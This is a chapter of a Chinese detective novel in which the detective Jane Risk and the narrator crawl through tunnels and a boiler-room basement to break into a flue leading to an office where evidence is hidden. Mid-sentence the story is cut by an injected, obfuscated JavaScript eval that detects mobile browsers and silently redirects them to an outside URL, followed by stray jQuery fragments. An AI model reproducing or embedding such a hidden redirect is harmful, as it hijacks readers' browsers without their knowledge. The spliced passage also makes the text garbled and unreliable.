没有停顿，没有回头。只有绝对的信任，或者说是别无选择的紧迫感，在无声地鞭策着我。
身后的壁柜门被简无声地合拢，绝对的黑暗降临。只有简手中的光源是黑暗中唯一的浮标。
这地道里霉味和地下水特有的腥臭气浓得化不开，钻进鼻腔，直冲大脑。
“跟着我，别怕。”简牵着我的手在通道里前进着，每一次呼吸都带着沉重的回音，在空洞的空间里放大，敲打着我紧绷的神经。
我们在类似城市下水道的地方穿行，上面是人群，马车，汽车的鸣笛。
混乱和喧嚣在我们之上，沉默与凝重在我们之间蔓延。
不知走了多久（在这样的环境中，我几乎完全没法感知时间）。
简的脚步停下了。
我学着简的样子，侧耳贴在冰冷的石壁上，凝神细听。
远处，隔着厚厚的土层和砖石，隐约传来模糊的警笛声和嘈杂的人声。
“上面是废弃巷，”简的声音压得极低，带着一种对城市阴暗角落的熟稔。
“警察和霍金斯的人把正门堵死了，注意力都在那边。这是我们唯一的机会。”
她摸索着墙壁上方，用力推动了一块不起眼的凸起。
一阵轻微的摩擦声后，头顶透下一线微弱的光，一股混合着垃圾腐臭和潮湿霉味的空气涌了进来。
简利落地攀上去，然后伸出手。我抓住她冰冷但有力的手，借力爬出。
我们身处一条狭窄得几乎只能侧身通过的缝隙，两侧是高耸斑驳的建筑物后墙。
这里堆满了废弃的木箱和腐烂的杂物，污水在脚下形成肮脏的水洼。远处正门的喧嚣被建筑物阻隔，显得沉闷而遥远，反而衬得这条巷子如同被遗忘的角落。
天主垂怜。
我完全不知道，也无法想象，那么鲜亮的梅菲尔区的大街背面会存在这么肮脏，混乱的巷子，好似只是为了垃圾和废水而存在的。
“出版社的旧锅炉房卸货口，”简指着前方不远处一扇几乎被铁锈和藤蔓覆盖的低矮的铁栅栏门，“废弃很久了，连着地下室。霍金斯那种人，不会记得这种地方。”
这太令人惊讶了！
我是说，里斯克小姐并不是出版社的人，可她却知道这么一条巷子，甚至知道这种久远而隐蔽的人口。
“这没什么。亲爱的弗瑞，你知道的，我是一个混迹于三教九流的私家侦探。我有很多不起眼但非常重要的朋友。”
简后来听了我的感叹，只是从报纸上抬起了头，用着往常的笑容和漫不经心的语气这么说着。
这可不是没什么。但是，好吧，让我们先回到那个破败巷子里的出版社旧锅炉房卸货口。回到当时的那个时刻。
简的动作没有丝毫犹豫。
她蹲下身，双手抓住那扇几乎看不出原貌的铁栅栏门底部，伴随着令人牙酸的金属声，门被向上提起，只打开一道勉强容人匍匐钻过的缝隙。
“快！”简的声音短促而清晰，不容置疑。
我立刻伏低身体，公文包紧紧抱在怀里，几乎是贴着地面爬了进去。
浓重的灰尘味混合着陈年的煤烟味扑面而来，呛得我忍不住低咳了一声。
身后，简紧随而入，迅速将那沉重的铁门放下。
沉闷的撞击声在狭小的空间里回荡，我们再次陷入了伸手不见五指的黑暗里。
简手中的光源再次亮起，还是那支小巧但亮度集中的手电筒。光柱刺破黑暗，扫过眼前的空间。
我们身处一个低矮压抑的地下室。
巨大的锅炉被废弃在一旁。地面上堆积着不知多少年的煤渣，碎木片和各种废弃杂物，空气污浊不堪，灰尘在光柱中狂乱地飞舞。
“这里是旧锅炉房的地下储煤室，”简的声音在空旷的室内显得格外清晰，带着回音，“上面一层才是真正的锅炉操作间。”
“这并不理智，里斯克小姐。”我小心翼翼地跟着简，“霍金斯，格林，甚至警察一定都在上面，我们要怎么拿到东西。还有，万一警察过来了怎么办？”
是的，拿东西，拿霍顿先生留给我们的重要的“筹码”，那本牛津词典夹层里的证据！
但是，这真的太不理智了！
简没有立刻回答。
她的手电光柱冷静地扫过我们脚下厚厚的煤渣层，又移向旁边一个被粗暴撬开，半掩着的破旧铁皮工具箱。几件沾满煤灰的工具散落在地。
她的嘴角勾起一丝近乎嘲讽的弧度，靴尖轻轻踢了踢那箱子，发出沉闷的金属撞击声。
“看看这些‘杰作’，”她的声音带着一种轻蔑。
“新鲜的脚印，杂乱无章。工具箱被砸开，工具像垃圾一样扔着。这是搜查吗？不，本小姐？这是霍德华式的大扫除，动静够大，灰尘够多，报告上能写满一页纸，就足够了。”
她用手电光指向麻袋上几处明显的崭新的撕裂痕迹。
“他们来过这里，也许是昨天也许是半小时前，翻检过这些东西，甚至可能踢了踢你所在的地面。然后呢？”
她发出一声短促的笑。
“然后他们就带着一身煤灰和‘已彻底搜查地下室’的满足感，上去向他们的警督大人复命了。官僚的搜查就像廉价怀表的发条，响过一声，就认为使命完成了。这种地方……他们连多待一秒都嫌脏了制服。放轻松，弗瑞小姐，他们不会过来的。”
“可证据在楼上！在艾奥瓦先生的办公室里！我们根本不可能避开人上去！”
“谁说要走楼梯？”
简轻笑，她的手电光柱猛地一转，刺破飞舞的煤灰，照在锅炉后方墙壁上，一个被厚重铁板封住的直径约两英尺的圆形洞口！
“那是什么？”我惊愕地问。
“旧主烟道，”简的声音带着一种了然，“直通锅炉操作间，更重要的是……”
她快步走过去，伸手抹开铁板边缘厚厚的煤灰，露出一行几乎被锈迹覆盖的、模糊的铸造铭文，“……看这里，FLOOR 2, RM 14。”
我的心跳瞬间漏了一拍！14！那是艾奥瓦·霍顿先生的办公室编号！
“上帝啊…”我低呼出声，“它…它通到艾奥瓦先生办公室的壁炉？”
“很大可能。”简的指尖划过那些锈死的螺栓，眉头紧锁。
“这种老式建筑，主管办公室常有独立的装饰性的小壁炉，有时候会共用主烟道系统作为排烟口，或者至少留有检修通道。”
“你从一开始就是这么打算的？！”我立刻明了面前的人的想法。
这太疯狂了。
去爬一个不知道废弃多久的烟道！甚至要避开警察，敌人，上面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973578|177843||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有可能走过的每一个人！
简猛地拉住我的手腕，她的脸在晃动的手电光下半明半暗，浅绿色的眼睛充斥着我不懂的东西。
“本，我们必须去赌一把，我们没有时间了，如果等霍金斯他们发现，等‘金环蛇’的毒牙探入警察局的证物室……这些能绞死他们的铁证就会被付之一炬，或者变成指控你谋杀的新‘证据’！到那时，弗瑞…我们……”
“我知道了。”
那冰冷的话如击碎了我最后一丝犹豫。
恐惧依旧存在，但被一种更强大的求生的决绝所覆盖。
“帮我把光打稳，弗瑞，”她的声音异常冷静，“照准螺栓根部。”
我双手死死握住手电筒，光束聚焦在那锈成一团的螺栓上，手心的汗让金属外壳冰冷滑腻。
简从风衣内侧另一个口袋，摸出了一个小巧却沉甸甸的工具，一把结构精密的管钳。她将管钳的卡口精准地卡在螺栓底座，身体微微下沉，手臂的肌肉在风衣下绷紧。她深吸一口气，猛地发力！
“嘎吱——！”
令人牙酸的金属摩擦撕裂声在死寂的地下室猛然炸响！简紧抿着唇，再次发力！
“咔！嘣！”
一声脆响！第一颗锈蚀的螺栓终于屈服，断裂开来！
接着一颗又一颗……
每一声断裂都如同惊雷，在这空间里回荡，震得心脏几乎要跳出喉咙。
每一次声响都让我感觉头顶上的地板随时会被人踩响！灰尘在光束中疯狂地舞蹈。
当最后一颗螺栓断裂，简的额头已渗出一层细密的汗珠。她收起管钳，双手扣住铁板冰冷的边缘。
“准备好，”她低声道，声音带着一丝不易察觉的喘息，“里面可能更糟。”
我和她一起用力，沉重的铁板在刺耳的摩擦声中被缓缓拉开。
一股比地下储煤室浓烈十倍的恶臭猛地从黑洞洞的烟道口喷涌而出，瞬间灌满了我们的鼻腔和肺部！
哦！天呐！
哦！抱歉！这真的！好吧，我真的不想回忆那恶心可怖的味道！但真的！太糟糕了！
我胃里一阵翻江倒海，几乎当场呕吐出来。手电光柱颤抖着探入烟道。
里面是望不到尽头的黑暗。肮脏，恶臭，它不像管道，更像一条择人而食的恶魔喉咙。
而我们的目标，艾奥瓦先生那间此刻可能正被严密“保护”着的办公室，就在这令人窒息的黑暗烟道的尽头。
简用手背抹去下巴上的汗，检查了一下风衣的纽扣，将手枪插回口袋但确保能随时拔出，然后毫不犹豫地，第一个将身体探入了那散发着死亡气息的狭窄洞口。
“跟紧我，”她的声音从烟道深处传来，带着沉闷的回响和不易察觉的关切，“小心点。”
当然，当时的我尚未了解简·里斯克小姐。尚未明白，她总是这样，为了效率与一击毙命，无视风险与不安，将其他更为稳妥的方案抛之脑后。
“事实上，弗瑞，当时我已经下了决定，只要你害怕或者明确拒绝，我会独自一人，或者带你选择其他方式，但是，你很勇敢，你没有拒绝。”后来，简用她浅绿色的眼睛看着我说。
“一切都太迅速了，绝对是肾上腺素的原因！”我又气又恼。
但是，亲爱的读者，这一切，都足够奇妙，不是吗？